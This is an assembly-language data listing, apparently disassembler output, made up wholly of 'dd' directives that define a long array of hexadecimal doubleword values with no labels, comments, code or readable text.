dd 0D13B72F6h, 88A9B8ADh, 1856D1F4h, 266213CBh, 53501D74h
dd 838827ABh, 0CCA586CCh, 550239A4h, 65B1908Dh, 8985237h
dd 0A466ECD0h, 921F4026h, 65C80222h, 0B76496DDh, 0FB80C880h
dd 6D249A44h, 0F00928FFh, 644847D2h, 81E06759h, 0F626780h
dd 5C7250DDh, 0B86012E9h, 9CA9C770h, 601E6016h, 11D0ED1Eh
dd 863E3746h, 7C18B4A0h, 0F1346C23h, 2C17E26Ch, 0A7467444h
dd 0D464AA00h, 95E3C9FDh, 41DC4830h, 241D6E3Eh, 188CD59Eh
dd 6FB2993Ch, 3041C260h, 1699EF9h, 51B1FEACh, 525AFA37h
dd 8CC711ECh, 5363C044h, 0E2D09DC0h, 0CEBA2513h, 2AE99C20h
dd 714F4BE0h, 4AEEAB08h, 0C0C2C834h, 0F1ABD471h, 6CF6B00h
dd 9197C9A5h, 0FDD70B8Bh, 0F0B08D36h, 22069CBAh, 6F774754h
dd 169A7EE0h, 1FD8A6EFh, 48B38710h, 0DEA38367h, 2949E8B9h
dd 52C00090h, 0A1A4CE3Fh, 4FA0A0A2h, 603A3047h, 0EEECD548h
dd 2BD29D1Dh, 0B4233193h, 7AEE2C6h, 5C4AC09Ah, 21E02ADDh
dd 6B584B6Ah, 80850B0Bh, 3638AF10h, 9C589E59h, 2254D01Ah
dd 97D800ACh, 0FD6CE3B8h, 0E4006E6Dh, 83D93FFEh, 1C5AA549h
dd 0A866DB3Dh, 0B28744B8h, 98B43AE8h, 0DB9CF340h, 90684D96h
dd 479DB101h, 2B7E6F7Ah, 0DC128053h, 89794801h, 68210628h
dd 0D610A9E5h, 29D6D940h, 0B0CAC80Fh, 0A9AE7018h, 800071CFh
dd 9BD2BDACh, 0AD13EEh, 640E42AAh, 0F2F673ABh, 20EEB490h
dd 274C4B40h, 54A39FE5h, 61724F40h, 34BCF313h, 0AFEE4404h
dd 0A5FD5A0Fh, 63337001h, 41286259h, 479EE4A8h, 21873636h
dd 0E9D33A49h, 4218EB96h, 0C908B610h, 3926105Ah, 46744080h
dd 193B0058h, 0A4AFF653h, 0CCB0BCh, 821DC618h, 0CFBAD927h
dd 3C01C24Ah, 5E3F5194h, 0B0FC8C34h, 0CE81050Dh, 0C8A1B554h
dd 0D100334Ch, 75ECE88Eh, 14963DD4h, 0BCA2AE82h, 58B94E88h
dd 1FE012F0h, 523AC8Ah, 0E4999A01h, 3E18A5CAh, 182F388h
dd 0C4E46B9Ah, 0D7EB7651h, 6358A180h, 5C842605h, 5CB042F5h
dd 71744A52h, 0D49A298h, 109978F8h, 0C813F84Fh, 0EC1880CEh
dd 947A6478h, 1EB8F548h, 73C17443h, 0D8CAD937h, 6864CC62h
dd 68C786CCh, 3D4AFB05h, 0DCB20A26h, 0F403FE01h, 0F8E9C81Fh
dd 9605C61Eh, 408A48A7h
dd 3401B006h, 56721C60h, 0DE0D099Dh, 90E51C04h, 0D7049600h
dd 0FC298281h, 0FA04BFB8h, 6CCA9E4Ah, 27D088h, 4C082A13h
dd 0C01D8FEh, 0FD834CDEh, 90B64471h, 0D8ED2E0Fh, 45A3901Ch
dd 0BA268090h, 7F4090C7h, 81267B54h, 808428EDh, 6059DB6h
dd 1C531364h, 9EFB0A15h, 0D82B09C8h, 57501481h, 882CE6h
dd 521CB1A3h, 0D38C9Bh, 0F83AC4BAh, 0B7C8BE8Ah, 2FD99480h
dd 240A7E48h, 0EB420674h, 3E097815h, 45EF5E8Fh, 60CCC4E0h
dd 98357CEAh, 68C1605Dh, 0F16F2E63h, 3DED5215h, 39171294h
dd 740EB813h, 0D23E90CAh, 7C9F4786h, 320DC07Eh, 903C774Ch
dd 27259830h, 2438A2ABh, 513EBF0h, 0F465744Ch, 344384CDh
dd 5420CE16h, 68AB881h, 2B52DF23h, 0C6186135h, 6D30D4F0h
dd 44D14D85h, 81263E10h, 9E8960DFh, 5CD84446h, 0E610388Bh
dd 36FB09B4h, 734C424h, 30BE5312h, 6D6A92C1h, 0F41FC4D8h
dd 0B4173549h, 974C0050h, 0B123242Fh, 0B5B98A02h, 0F240F266h
dd 584CA487h, 9E80F46Dh, 68C33BA6h, 75D25E05h, 0C410FAEAh
dd 8CB3B83Ch, 83CF77Bh, 0E4A792E0h, 0CF4A00D1h, 6D23C910h
dd 701E5E00h, 0F1D6C0D2h, 0DDE8304Ch, 0E22F5021h, 0FC199496h
dd 14218588h, 30A53C42h, 8C1778EBh, 438104Fh, 78F3001Bh
dd 43B98969h, 0FE2E2E5Dh, 300A346Ah, 49084C12h, 43949ECDh
dd 50DFFFD3h, 700026A3h, 0C404BFA1h, 545ADD4Fh, 2C3DC874h
dd 8F4CA85h, 0A30B4CFAh, 0C4D445BFh, 0A10A6058h, 62B702BBh
dd 0E9951286h, 2F5E2C48h, 48AEE300h, 215D130h, 0EB44000Eh
dd 1694EAECh, 40FEF2BAh, 0D46BA624h, 8C373392h, 0CCA4B2F5h
dd 519604F8h, 0C359976Ah, 0B39163DCh, 588C6332h, 3DE7017Ch
dd 636BC17Bh, 0B913980h, 4E6E6F57h, 0F7674000h, 7A190D80h
dd 0A5AD1E77h, 17E993DFh, 27284176h, 0F8569E48h, 7020BE36h
dd 659907B7h, 0CB44B36Ch, 0FD05840Eh, 0FBE80F6Eh, 340FF45h
dd 4F97D3B4h, 5255BE89h, 0FCE0B1FCh, 0D644E94Ch, 80D8905Dh
dd 9143B391h, 210A02Ch, 26749167h, 79E38D2Eh, 777DACD8h
dd 9B5B8603h, 15E63FFBh, 0E88B3679h, 1398269Eh, 58FC40C3h
dd 7253D7A3h, 1098D148h, 2700A98Ah, 6639B826h, 0C24DCEB9h
dd 9493050h, 1C40E852h, 0C0D9EA27h, 816D792h, 1504C3ABh
dd 0A8019E38h, 37F810C0h, 7C861D8Ah, 0F3D68426h, 1B4CC1A3h
dd 0B820A682h, 2092024h, 834C86Fh, 0E762014Ah, 0C495B5E3h
dd 6DC89239h, 1E075CB4h, 4F978636h, 0D70B5A76h, 0E5BE7F00h
dd 8731DF6Eh, 0B3FAC8EBh, 9648D200h, 0A4B47050h, 3F4FB106h
dd 0C1071FEh, 0BC7AECCAh, 295F828h, 0C0D29B54h, 0FC3F5224h
dd 0D429C27Ch, 0F8C4C346h, 0C510B318h, 80ADEDC8h, 0EC4F4EE0h
dd 3B23742Fh, 0A7CD800h, 0BC6B4B12h, 704A8024h, 0A7630D40h
dd 57EBAA00h, 73B6DDECh, 0F9641E7Ch, 46A57E1h, 0DDC1EE34h
dd 0D256F528h, 9E2EA052h, 467C54D8h, 88D907BFh, 0E120ADFEh
dd 30DD5039h, 0DA50B7AAh, 5F4D3E48h, 0C5607608h, 6FB6CB39h
dd 20ED5CB3h, 0C9B5AE03h, 0A7C04243h, 0EE4B9473h, 70135895h
dd 48E4C8h, 722EFD5Ah, 0BE04B7DFh, 0C84A177Ch, 5988348Bh
dd 0F72F5AC0h, 53D90450h, 0AC3A3752h, 23604CA8h, 97B21E87h
dd 8209539h, 2787D7C0h, 455FD2EFh, 0C0883FC7h, 1FB85B9Ch
dd 0A6D040h, 0C00E7958h, 4CD0E655h, 0FEE9DC11h, 14A0FD30h
dd 0E03F1745h, 9A5A8E13h, 0FE6F88CCh, 0EFF26F42h, 0A8419078h
dd 207460C2h, 0C0D0E627h, 0E5747CD2h, 20D2DDCAh, 8B3DBCA3h
dd 39A21C9Fh, 0D257669Eh, 7C4CE75Dh, 0DA606C62h, 0D80209DEh
dd 88E87913h, 2CF75ADCh, 0EBED1398h, 0F12140A1h, 0A18D402h
dd 0CEB50793h, 0A1B02582h, 332980D4h, 4E6588CAh, 840AF12h
dd 0E642C35Eh, 0CC32257Fh, 0BE108AB0h, 5F00C0D0h, 0DF511095h
dd 0CE1C3F7Fh, 0C7EA271h, 606D6682h, 1649CB7h, 691B3EFBh
dd 9482E6ECh, 6630D562h, 0F8E4A37h, 0B9382EE0h, 0C7015FE7h
dd 479E6908h, 0B4045132h, 0CD172A54h, 0C041C77Ah, 4A9F743Ch
dd 40272D0h, 7B2C4F58h, 0C614E47Eh, 0FBD7CE89h, 0E9C009D8h
dd 5C78EF4Ah, 0A01810A1h, 4134DCC1h, 70826927h, 0C4993108h
dd 9D46CAEBh, 0F200E422h, 0FBF39A81h, 3A36CA93h, 0ABA6495Ah
dd 566A4254h, 622240D2h, 0CEBA1AD5h, 1061F946h, 82A0458Ah
dd 646954D6h, 1CE518A3h, 2E4F9A78h, 0ED15708Ch, 4EA787Fh
dd 176BF1Eh, 20819240h, 7E186CDBh, 0C8DA2CD5h, 0A8C02C82h
dd 8D123C68h, 0CCE44C94h, 41825583h, 6C8B204Eh, 6EC0B0C8h
dd 72DCD0BCh, 0B434923Eh, 0E2F1441Ch, 3040E258h, 7300EF9Fh
dd 12047E03h, 5496B6A0h, 4D1E894h, 0FCF44374h, 86E882CDh
dd 1795A070h, 805491B0h, 17CE321Eh, 22DF0B5Dh, 84CA50B0h
dd 0FC182C0Ch, 30BE1544h, 0D288A49Ch, 0E0A0DA66h, 0FB80D6ABh
dd 0C4830B47h, 3040992Bh, 1CA23F08h, 0C4809856h, 0E9E55525h
dd 304A245Ah, 9E893DF8h, 0CC5AAF38h, 18310331h, 61C58237h
dd 41F3EC30h, 43DC20B0h, 4ABA4040h, 71DCCCD1h, 4EC0B90Fh
dd 0C087EA47h, 1218F37Ch, 4B08A600h, 0AC3AB322h, 406A4A84h
dd 40373228h, 0E50076CAh, 56C78DF5h, 28988543h, 2088DFBBh
dd 702DD534h, 0FD60A0B4h, 59994A9h, 0EDC26F75h, 2304F46Ah
dd 0F1084605h, 9E03DFD3h, 1DBE5363h, 4A154F39h, 4F944B2Ch
dd 0E4D940A4h, 88B86D3Ch, 27A55620h, 1CC639D6h, 0C6358F04h
dd 78E9CEB4h, 4B306E08h, 6E6C9788h, 34022800h, 448686F7h
dd 0A839FEA9h, 30701E26h, 0AF27CD86h, 228890E2h, 0C898B0E3h
dd 0A0711A20h, 88BBEA88h, 7E719D57h, 11181D95h, 0D48182E5h
dd 762C602Fh, 7C188289h, 5C8A3B42h, 0D26640A4h, 0FA00C5FFh
dd 7B0A9E45h, 11499FDh, 9CE4AF1h, 602C59F3h, 0D8A99108h
dd 4C2E3BEFh, 0CF00BF23h, 456E6815h, 0BCA050E4h, 0D08CA190h
dd 0B844BD14h, 30EB1EC4h, 52E98FD3h, 0ED288337h, 57F9D1C3h
dd 545861A9h, 0E860E80Ch, 0EB008CA9h, 0FD56B62Ah, 94E99BCh
dd 229CB96Fh, 64726089h, 9AF9D500h, 4ADEA506h, 88346583h
dd 959C08E7h, 0A4F5282h, 7CB8C487h, 0F1E89943h, 0C3119C9h
dd 3542442h, 7AC0CBA3h, 254DF55Ch, 3A5B7334h, 73F8A020h
dd 0F4CA08A8h, 6021B7AAh, 3BC46027h, 0C07020CEh, 465E20BEh
dd 0A5920F4Eh, 17B4C0B5h, 0A0EA0503h, 9E15ABCCh, 0B28189C8h
dd 0C34A98A1h, 0CAED003Fh, 9871F1D4h, 3000826h, 0A02C3B88h
dd 2A265846h, 0E063708Ah, 52CAD88Ch, 74DF4979h, 474B43C4h
dd 8FE268A3h, 99C8993Ah, 0F6915810h, 0BAB18910h, 0A9C042Ah
dd 6A863750h, 43FB89ACh, 0A47EACB2h, 58465Eh, 0A3BB179Ch
dd 959A46CCh, 396F1C80h, 0A09D4A7Fh, 0AD3B70F0h, 3EB307EBh
dd 30603D2Fh, 3F502A36h, 25800A27h, 0DC306594h, 2A4C88A9h
dd 4470123Fh, 0B8556D9Dh, 7C86C8A4h, 3D4A5Ch, 0BA1D158Dh
dd 5A3B3714h, 9994909Eh, 3240C1ECh, 0A0515494h, 696011Bh
dd 2736B1FAh, 0F4CFC9CBh, 7D4CA547h, 3CA82454h, 83018505h
dd 61969C04h, 0D8E97089h, 0A64C0E00h, 0C0049824h, 2EA44674h
dd 38071345h, 0DFA1DABEh, 0F2DB895Fh, 17F064C8h, 0DC11CE8Ah
dd 280B6D18h, 8BB4ECB3h, 5BAC119Ch, 0FA546913h, 2AB59440h
dd 7E08901Ch, 0C2260EA4h, 3E096D40h, 0B25F2C96h, 20377C22h
dd 0AB56D4D0h, 754F5A80h, 4F34947Ah, 0BEB404D1h, 9702B990h
dd 9087E95Ch, 0FB03D868h
dd 0ED495D36h, 475098D1h, 35BC70CEh, 4B15E6Ah, 8851EF98h
dd 828813A4h, 5A4814A8h, 0D84BC86h, 0EB7009D9h, 2BACA018h
dd 27730062h, 607D9776h, 3E01016Eh, 2F5081BFh, 48645ECAh
dd 0D99E28D4h, 7F563E68h, 38211042h, 43B09524h, 0D7882F32h
dd 0A900585Fh, 7720B27Dh, 62BE6975h, 0B3ADA8FFh, 0E4646509h
dd 39286056h, 0EE4815B0h, 8A73885Dh, 4D445047h, 0B4943A60h
dd 27D25100h, 23569F35h, 0EE472454h, 0E44C8B68h, 38103C79h
dd 4B1D380h, 442E96CEh, 5042C0D4h, 18610926h, 445100D7h
dd 6C3B4DF3h, 0D9E34C0Ch, 44BA4F51h, 0BDCEE20h, 428F3D60h
dd 0CBE43CE5h, 0DCB5FF60h, 0B563D8A2h, 73355115h, 4F28E0B4h
dd 81960DFh, 4B4C5E53h, 8D29A300h, 3AC9BD7Dh, 7B8B03E8h
dd 10E14E68h, 574290AFh, 670E204Ch, 8060BEDBh, 0B24B48BAh
dd 0D01C5875h, 7AC39D06h, 0D4075065h, 0AF5854E3h, 9BDEE180h
dd 48B80047h, 243311A6h, 8830FBCAh, 0F85E2053h, 2B8E143Dh
dd 86E120C4h, 0FE61844h, 19456C66h, 0CBCDB4C0h, 0D5012F28h
dd 1D5EC88Bh, 0D98061B3h, 28D337Eh, 7CA431E7h, 0A15744h
dd 0BA3F8D2Bh, 0DF65AB60h, 79CB3707h, 0E84039C9h, 69831Ch
dd 0E74CCD4Eh, 0DBDA6D2Bh, 805E4B38h, 5F37DE51h, 3EBA4C1h
dd 457719D8h, 0E3B01C57h, 0AE392EEAh, 0D0CF8665h, 774880F2h
dd 34D6148Eh, 0CA00A07Fh, 0D08A6222h, 0B8A0828Bh, 110046A2h
dd 80E80143h, 0D85CDBE0h, 629F6018h, 7B81C4A0h, 0CEB5E914h
dd 789CCC2Ch, 113443AFh, 0DC408294h, 378942A8h, 81742066h
dd 10584906h, 8EC344h, 8BDFC6E1h, 3DFB48B7h, 6078E958h
dd 4E8FCD80h, 50C8285Fh, 2D4C0084h, 97C3BBDFh, 7B301187h
dd 23C0A93Fh, 0DFC0C76Ch, 0CCE2ECCh, 39A627C6h, 80EBD20Ah
dd 0DB16F448h, 8A6D1E0Eh, 4D8AB018h, 4030CAE8h, 6F4AD925h
dd 21FB584Ch, 0E150B034h, 0C019FC08h, 0E7068D2Fh, 5A225146h
dd 8D27A500h, 5F7329D0h, 0F30B03EDh, 64477B9Eh, 785E2003h
dd 88517AE9h, 0CDDC7FDh, 0AEB45453h, 0BE16DF41h, 0F114F916h
dd 0B0152B04h, 0C4214A8h, 3963D218h, 0B9145F95h, 10B097A4h
dd 0D4058A68h, 7526CDBh, 0C6BF8384h, 0B4364853h, 46E03976h
dd 8D310217h, 3141E708h, 1E82654h, 0EA27123Ch, 70910ED1h
dd 6AB41846h, 58B0E029h, 25029F3Ah, 0E866A442h, 0D8E7B140h
dd 5681D49h, 0C68E4AF6h, 2C408C5Ch, 0D3362103h, 5A82190Fh
dd 805709CBh, 21FB0C21h, 22D2509h, 0E8CCA7E9h, 0E48F833Bh
dd 0E9C75FE7h, 81310027h, 804A7427h, 9B9D6B11h, 0CBAD420h
dd 0A2CC487Ah, 21C04108h, 39B950Eh, 68F00033h, 37D2A678h
dd 4731A5D5h, 0A924A166h, 249258E8h, 22C6F0Fh, 0B77984BEh
dd 851CC91h, 0C52D0CDEh, 0D3103C52h, 8BEBD018h, 0D81D47A8h
dd 0D213CE30h, 0C6381E0Fh, 0A5DDA315h, 5672D19Fh, 44CC6430h
dd 534CF75Ch, 54371198h, 2E981F39h, 9816401Dh, 0B7344E50h
dd 9EB6A40h, 44B47BF0h, 997A9800h, 0E824CD36h, 5E817C73h
dd 91FB594Ah, 0A011204Fh, 7ECB87ADh, 66310029h, 0C793E3C4h
dd 0CFD52B80h, 0A414665h, 11EC5E84h, 2104808Fh, 8C17D335h
dd 0B6044h, 69AA21FCh, 90F6E148h, 922ADA05h, 0D0405673h
dd 79283480h, 8C1A0012h, 0B0E8E5Dh, 5C041701h, 0AFE8D2B3h
dd 68060495h, 7708E7B7h, 63E334D3h, 0F4348718h, 90A0196Ah
dd 21080118h, 0C4FFD334h, 0F90E4058h, 24848321h, 11341ED0h
dd 0E0560C3Ch, 384958h, 0C00399CBh, 8EC3D82Ch, 7B7878D4h
dd 9EA7240h, 8094CFE0h, 0D6E55000h, 0C8908864h, 4C4410C0h
dd 0C05B46FEh, 8A217E51h, 0FF03E59Dh, 7DD626Eh, 74A36Fh
dd 8A191721h, 0C528707Dh, 8D39EF05h, 4820EC56h, 0D03AFE7Eh
dd 9532D8F0h, 4616568h, 0F93C4869h, 8A26028Ch, 6F17E598h
dd 1C107619h, 67048A1Eh, 0ADFA7CD1h, 63D06081h, 3C48EC36h
dd 2E40943Dh, 80E8734Ch, 5F4B3F8h, 5DC80C90h, 91195174h
dd 9FF5E500h, 0FE03C014h, 3A9C7985h, 0A8E660B6h, 330A3006h
dd 0F4597BE8h, 577318BCh, 0F8FEEF41h, 0A9DF03E7h, 49A27BF4h
dd 3D3361D8h, 9CC5D48h, 2452E0E9h, 1CDCCD00h, 231743C8h
dd 9B99012Bh, 189AD424h, 910A883Fh, 0B30D9B0Bh, 0B400104Eh
dd 9C5C0114h, 1D391FF1h, 0C4B8CD90h, 3706E050h, 4066E971h
dd 0AC215888h, 4C308A10h, 47A114F8h, 101094F0h, 286468A4h
dd 553E4164h, 8456CBC8h, 4BEA20D8h, 0DEFAEB03h, 0A2FB73CCh
dd 0F36CE0A8h, 1DCB2A7h, 2F31C32Ch, 20013582h, 4C928D88h
dd 0B0E83B39h, 9DE35070h, 55D03350h, 49CA6DD1h, 0D8338448h
dd 647CFB26h, 8542194h, 2C832CCEh, 71B318B0h, 1B3FC138h
dd 81B689E8h, 0DD0C0289h, 6C54E0AFh, 15CC8057h, 0BB9E0700h
dd 568BD9C6h, 597C6AE3h, 146384Ch, 0E59B8A1Fh, 0B6EEFh
dd 0F58A1719h, 3B8F5687h, 3A02C926h, 4536E981h, 6245FC9Eh
dd 7891C419h, 0C4238FFCh, 0FCC4E597h, 8D723C48h, 0C8981B1Dh
dd 0FB1EDB7Fh, 5B81B492h, 66C8BEE5h, 8870B864h, 0E10BA3DFh
dd 84511859h, 1A326734h, 118D3030h, 8849E705h, 0C2A49E56h
dd 0E4A01A8Dh, 9024B28Bh, 0D11C0042h, 54B6CF31h, 0AE6BC7Dh
dd 61850FF4h, 0A9111FCh, 0E873C833h, 21C052BBh, 7184A183h
dd 1101875h, 0D81AA7D6h, 0E479CC65h, 0E4098DDDh, 330A1820h
dd 0F0CEA910h, 244464D2h, 8E3455C5h, 0A3E07E2Ah, 86F0893Eh
dd 9C7B9B24h, 0E06BA63Ah, 46CF3A42h, 0EB72092Ch, 388A4B38h
dd 198D1830h, 6CA115D2h, 69C80F7Ah, 0D4A9C7C0h, 98DB54C0h
dd 0A6092A3Dh, 0FAC607A4h, 9212B4D5h, 7C6B7CD3h, 1FB6823h
dd 0E5968A24h, 88731807h, 8A001C1Eh, 0B7BFC47Ah, 48D06A09h
dd 848AC8CFh, 4417A5FCh, 3B805591h, 0D1571307h, 0C10F4602h
dd 81637E38h, 9AE987A4h, 49F48C34h, 0B41888CAh, 0CEDB4166h
dd 0A5C78802h, 0E04680F9h, 2549F5BCh, 9829DD6Dh, 5813091h
dd 30547C0Eh, 0A0513334h, 48C1CA0h, 0E7038D36h, 205B6219h
dd 308D2E9Eh, 72DF003h, 8796F6A7h, 5CC4DBF1h, 0F5AB7980h
dd 88B2808Ch, 0E1494A0h, 2EE94800h, 36F8333Dh, 14174827h
dd 48AF910h, 57B4F3D4h, 8F5D8021h, 1436CAA8h, 59C810B4h
dd 20DC6D13h, 0B3D8D57Ch, 903D7840h, 455D2628h, 881E8928h
dd 0C760E004h, 0A3627428h, 303EB240h, 0AE3F08DDh, 0ED8D8E0Ch
dd 77CF61DCh, 5030193Ch, 2282C92h, 0EC9180ECh, 0F47B810Dh
dd 7824794Ch, 4B256F04h, 28906546h, 3F5F92C7h, 0DA878D67h
dd 53D2F0B9h, 0C80C750Bh, 0A89BCF98h, 977B8C2Dh, 0AAD42211h
dd 0C874788h, 1A409B8Fh, 90D26A9h, 286C8913h, 12C2E48Ah
dd 8BB5037Eh, 0CAA048CBh, 0E0137491h, 0F88F075Fh, 42FE8388h
dd 0D43AF483h, 0C2003D23h, 0C137FD18h, 0F0B860F7h, 5A30FBD2h
dd 846568D7h, 65C834CAh, 0F74855C0h, 0BB910926h, 9482CB14h
dd 0E51056D8h, 5FC42EDEh, 60FAC4E0h, 23998A25h, 74111FE5h
dd 8A1D1B00h, 0DEED063Ch, 39603813h, 2D105C1Dh, 49B37050h
dd 0C501C46Bh, 0BF2181ACh, 24A6F4E5h, 9F6DA300h, 0E8D33E10h
dd 0CE89E5Fh, 0EF616347h, 0F7E21E00h, 0C6A75723h, 3EB10118h
dd 0D0D32FBFh, 7C3C14h, 801940F8h, 50814661h, 0CB984Ch
dd 2534939Ch, 95DDC40Fh, 141F0327h, 0E154580h, 0CF6088B0h
dd 16372EE0h, 0E703A83Bh, 0CB50EBE4h, 71F10464h, 8076B2E1h
dd 8FE0D354h, 94498E4Fh
dd 515CC03Ch, 0C52C11E6h, 0C8D3050Ah, 14086107h, 91A0B252h
dd 11210230h, 8807D333h, 0FA0D855Fh, 0B8948021h, 89004651h
dd 6C45ACF6h, 24AAF556h, 8E445372h, 7CC33B8Ch, 0E9C86939h
dd 0E11861FAh, 81B86E0Eh, 1DB4A4E0h, 71BF0987h, 152CC019h
dd 0F8D5EC98h, 0E97840C7h, 755B1015h, 18D01A80h, 0A5C80331h
dd 0C6978888h, 8256455Ch, 72FD2D91h, 64C8428Fh, 7170FBF0h
dd 805D5041h, 0B6C900BEh, 0C6E1BF32h, 0C8988CE3h, 8FDF2D3Eh
dd 5D8ECBF4h, 97F4048h, 4C655F31h, 7E606AE4h, 3062CF85h
dd 0A069B349h, 0C3ECACECh, 0AA0D0058h, 0F6B1306h, 0D205E621h
dd 97156D99h, 0B8A728D8h, 4B9D4494h, 5E3BD816h, 0B384FC28h
dd 0CE5F05F8h, 7488424Dh, 48EA6CF3h, 0D39470B0h, 28AC613h
dd 727F8804h, 0C8E25645h, 4F55C5BCh, 6C76F8ACh, 3E0153E2h
dd 138C6298h, 0F830447Ch, 0E4825471h, 0BE4D44DEh, 3347051Ah
dd 48A80249h, 0AC205B56h, 6746744Ch, 14AC777Fh, 1C6C47B8h
dd 7F80773Ch, 101DD940h, 7C0095E7h, 1491A06Bh, 2A4E647Ah
dd 7C052B4h, 37B601ADh, 0E1B0002Dh, 131EEC3Ch, 20402BCBh
dd 28A26A4Dh, 2F8E4E8Ch, 732384h, 22779182h, 0F428EBA6h
dd 9A45D46Eh, 3094C442h, 30132105h, 14381FD3h, 21FD000Ah
dd 6474FA63h, 0F709FC50h, 0E808D73h, 0FCAA8A74h, 0A8349F0Ah
dd 462C0BF6h, 0D8186AC4h, 6B00A9F8h, 0CAF21EC2h, 1DEA5A31h
dd 1F2F29D1h, 64D21CE0h, 118960C8h, 20904817h, 61BBE0A0h
dd 53405091h, 0C45D83E8h, 5295E919h, 789F5805h, 22181866h
dd 0E9187653h, 0EA60442Ah, 362800CBh, 0C801B40Dh, 2C98A680h
dd 72586722h, 0DF01F3E0h, 0C893C89Bh, 1338334Ch, 2C218EBFh
dd 0B19349DBh, 2D5F1FD0h, 5711B09Dh, 0A613899Ch, 0C4E23881h
dd 1303C07h, 0E0E7A4D5h, 689D4DBEh, 871697CFh, 0AF08C164h
dd 4B188E6Fh, 0D8265FC0h, 44829941h, 0DBF133F1h, 871806EFh
dd 0E15CE2E9h, 2CDE7B3Fh, 0DD03B8DCh, 82551178h, 38044132h
dd 0D5D0FC65h, 0CAE90295h, 7D33E0D2h, 0D40230B2h, 0AE205DE7h
dd 9E37E032h, 0CB5E9668h, 363DD88h, 6DD9F929h, 21E8C994h
dd 4866D5DCh, 3C40E6E4h, 68B77D5h, 2FE8CCA3h, 5E17206Bh
dd 0A4285349h, 30138343h, 0F441B4F6h, 5224C6E5h, 0DB2834h
dd 65AD72CDh, 96029CCFh, 0B04EE8B9h, 0AEC42043h, 0D78D6169h
dd 0FB0062C1h, 0E35E10E7h, 0D226CC02h, 79DC591Eh, 0E0E81868h
dd 78A0B0B9h, 0EBD20CCEh, 0E3E83044h, 16529178h, 3373E22Ch
dd 3F973E88h, 0BC13E401h, 32E8E95Bh, 1D31A42Ch, 874DB8E0h
dd 61D44C69h, 0E706D84Ah, 10201C1Ah, 0C0AE3A11h, 0FEAFC133h
dd 13537864h, 955E48FBh, 0C8D4CB24h, 0E779C03Eh, 0A4B67036h
dd 17C03E49h, 31BBE834h, 75DBF64h, 0AC81E7A4h, 1C0371D6h
dd 1289023h, 0D4219B9Ch, 884218B2h, 9B00940Dh, 1BD7F6D3h
dd 4C32DEB4h, 0CF10382Dh, 3E5C757Eh, 8B4F10B8h, 18A06689h
dd 8187D053h, 8414C182h, 74BC80A4h, 45046A46h, 90B4D785h
dd 62E35644h, 0E00821D3h, 26E48150h, 78051FF5h, 0D7E00824h
dd 16C61E7Bh, 0CEB04E64h, 0FA0784A8h, 27F9C590h, 5AB16AC0h
dd 0E6F8E938h, 7D992CD7h, 6D909DBh, 3F46C802h, 0E8C87305h
dd 0FD6900A4h, 8352B31Ah, 0E7082B72h, 205C7AE8h, 80475494h
dd 0D6CF12BFh, 0D2B44F1Ch, 0E029A8C4h, 6A12B668h, 0CC2B775h
dd 98D0B02Ch, 0D425109Bh, 9009E092h, 333A009Bh, 0C746E683h
dd 0CB000D5Bh, 0D306419Eh, 5F0F6DF9h, 80BC0985h, 0E15FEC98h
dd 0B0399620h, 5C433E4Ch, 4944D840h, 0E7E816D5h, 1D044077h
dd 5CEBD464h, 97B82761h, 51EA08C6h, 0FD568528h, 10F0F79Eh
dd 3DFC0CC8h, 28DB008Ch, 87C33880h, 0D06191A1h, 0BFCA5171h
dd 47125428h, 0D608217Eh, 0DE561054h, 4319DD5Ah, 0F67B518Eh
dd 0CD3929BEh, 3020C109h, 0E16540D8h, 8262C60Ch, 20FB1833h
dd 0CF316370h, 0CEA2E09Bh, 6781DC38h, 62445F11h, 3C9B4A38h
dd 0CBD6C880h, 0FE0969CEh, 82C7DAABh, 0C476F24Ch, 15C40B00h
dd 0E4987995h, 0A800FC01h, 63E40B99h, 55A1DFh, 56F19F59h
dd 18F05020h, 8481F95h, 21FC528Ah, 0D570528Ah, 0D38776D8h
dd 0F3180520h, 0F745242h, 0F844D414h, 2C04B95Fh, 0F1194A6h
dd 63BC0C5Ch, 3ED5008Ch, 7B6A1CE3h, 0C70624CBh, 84B3D088h
dd 909CB6C9h, 0A9CB80DBh, 1FB398F1h, 0E2F44736h, 5CDCBE10h
dd 0D820B42Dh, 0A3CD3490h, 0C75F5F71h, 0D36A7041h, 0C88C5610h
dd 83598FC5h, 0CD19B417h, 79FDC800h, 9E77E542h, 94D30648h
dd 0BE12F961h, 0B04F519Ch, 0A2BC34B3h, 0C9380D63h, 4BE8401Bh
dd 24DD8E7h, 0C8CF0554h, 0A4C0C52Eh, 4824AB3Dh, 55A20003h
dd 0F27B2008h, 284132B8h, 1518209Dh, 0B09FC51Fh, 1708B4E6h
dd 44470E6Fh, 0DEE50470h, 64B46C18h, 4E37429Dh, 67237C2Bh
dd 31297201h, 0FC3247E6h, 125C0500h, 0A36B35B5h, 28152B05h
dd 58C1C69Ah, 247874E3h, 602CD30Ah, 0A81831A8h, 93DC5256h
dd 0FE908329h, 0D0F10846h, 172D8C26h, 805891D8h, 0C5B4720Fh
dd 0E12616C7h, 4BCCD050h, 0FE5DD95Fh, 9EC100E8h, 0B2E2FB5h
dd 6F013E7h, 0F6DC914Ah, 76D0087h, 47CC0092h, 6E1712FFh
dd 0A4A03844h, 0D0C23B9Ch, 8DE0812Eh, 0DC70B018h, 0D5E1807Dh
dd 0E21094B0h, 38014B45h, 9B3482D0h, 5BA06047h, 0C69819C1h
dd 8C438A78h, 0C42CB0FDh, 0CEDA05F3h, 215FC8B6h, 3244B1E0h
dd 62310284h, 493B4C46h, 81922EC8h, 34200F7Bh, 0F3401277h
dd 46A50164h, 0C256F7E5h, 0AE3D001Eh, 0D9249BD4h, 1877602Eh
dd 78BF3311h, 3D8D3102h, 90586B09h, 94931AD8h, 0C8CE85CCh
dd 91884185h, 82FD3444h, 0B38BC618h, 9F48905Eh, 2FE40846h
dd 3F08B2E5h, 0D0217361h, 46AA6007h, 22BAEA8h, 0E94120DEh
dd 0CF1134F0h, 202BF502h, 54A86EACh, 0E0BA64Ch, 0A272DEE3h
dd 0C8618E04h, 12975E6Ch, 5860570Ch, 432A5024h, 0D08960C1h
dd 60365DA7h, 848594Ah, 4C89DDD5h, 7617F334h, 0A483AE39h
dd 8D71090Fh, 0B04080E3h, 0BD0CF419h, 30DDF935h, 8C5E58BCh
dd 86798784h, 50C4B008h, 8806031h, 0FCB2EA2Dh, 4962038Ah
dd 82DBD23Eh, 50C16968h, 1DC58CC8h, 84820CC5h, 0D3A6216Eh
dd 0CA9A319h, 4A534C09h, 83E451B0h, 5084B6E5h, 1AD4A03Eh
dd 792834F8h, 18757948h, 355D01B1h, 0EA185590h, 4A54D8CBh
